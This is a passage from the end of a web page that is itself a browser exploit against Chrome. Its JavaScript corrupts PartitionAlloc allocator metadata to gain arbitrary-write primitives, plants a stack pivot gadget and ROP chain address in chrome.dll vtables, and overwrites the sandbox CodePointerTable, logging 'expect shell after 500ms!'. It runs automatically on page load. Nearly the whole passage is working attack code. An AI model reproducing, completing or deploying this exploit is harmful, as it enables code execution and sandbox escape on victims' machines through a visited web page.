          dv.setBigUint64(0x1098, new_bitfield, true); // meta->marked_full = 0, meta->num_allocated_slots = 1
          dv.setBigUint64(0x20000, ab_partition_base + 0x1080n, true); // bucket->active_slot_spans_head = meta
          dv.setBigUint64(0x20000 + 0x10, value, true); // bucket->decomitted_slot_spans_head = value
          dv.setUint32(0x20000 + 0x1c, 1, true); // bucket->num_system_pages_per_slot_span = 1 (avoid PartitionDirectUnmap())

          abs[absctr++].transfer(0);

          dv.setBigUint64(
            0x1098,
            (dv.getBigUint64(0x1098, true) & ~((1n << 14n) - 1n)) |
              (0x300n << 1n),
            true
          ); // meta->marked_full = 0, meta->num_allocated_slots = 0x300
          dv.setBigUint64(0x1080, freelist_head_orig, true); // meta->freelist_head = original
        }

        // DEBUG: pre-opt zero_out() & arb_write()
        console.log("[*] DEBUG: pre-opt");
        dv.setBigUint64(0x21018, (1n << 64n) - 1n, true);
        for (let i = 0; i < 50; i++) {
          zero_out(ab_partition_base + 0x21000n, 2);
        }
        dv.setBigUint64(0x21000, 0n, true);
        dv.setBigUint64(0x21008, 0n, true);
        dv.setBigUint64(0x21018, 0n, true);
        for (let i = 0; i < 50; i++) {
          arb_write(ab_partition_base + 0x21008n, 0xdeadbeefcafebaben);
          dv.setBigUint64(0x21008, 0n, true);
        }
        await sleep(100);

        const trigger = sleep(1500);
        console.log("[*] sleeping 1000ms...");
        await sleep(1000);

        // set ropchain addr (ab_partition_base + 0x1e000n)
        // all zeros, use sbx primitive #2
        console.log("[*] target write prepare (ropchain addr)");
        arb_write(chrome_base + vtable_rax, ab_partition_base + 0x1e000n);
        console.log("[*] target write success (ropchain addr)");

        // set vtable pivot gadget
        // surrounded with pointers into chrome.dll, use #1 + #2
        // ordering is super important!!
        console.log("[*] target write prepare (pivot gadget)");
        zero_out(chrome_base + vtable_call_base, 6); // [0, 6)       / [-6, 0), [0x17, 0x25)
        zero_out(chrome_base + vtable_call_base - 8n, 8); // [-8, 0)      / [...), [0x11, 0x1f)
        zero_out(chrome_base + vtable_call_base + 0x10n, 8); // [0x10, 0x18) / [8, 0x10), [...)
        arb_write(chrome_base + vtable_call_base, chrome_base + pivot_gadget);
        console.log("[*] target write success (pivot gadget)");

        // overwrite CodePointerTable
        console.log("[*] target write (CPT)");
        console.log("[*] expect shell after 500ms!");
        zero_out(chrome_base + base_tgt_ofs - 8n, 8 + 6, 1); // pulls down from Sandbox base, stride=1 just in case
        // pulls down from Sandbox size, stride=1 just in case
        // lower 2byte 0, upper 2byte non-zero to prevent some weird resetting logic (zeros actually come from bytes index 2~3 from SlotSpanMetadata instead of the top two 6~7)
        zero_out(chrome_base + base_tgt_ofs + 0x10n + 0x4n, 4, 1);
        arb_write(
          chrome_base + base_tgt_ofs,
          ab_partition_base + 0x1f000n - 0x10000n
        ); // fake CPT, i.e. "vtable" (vtable starts at 0x1f000, offset 0x103d0 -> translate to 0x1f3d0)
        //console.log('[*] target write success (CPT)');

        // trigger through CPT call (await isn't strictly needed, it triggers itself on timeout)
        await trigger;

        // DEBUG: crash
        //caged_write(0xfffffff0, 0xdeadc0d3);
      }

      window.onload = exp;
    </script>
  </body>
</html>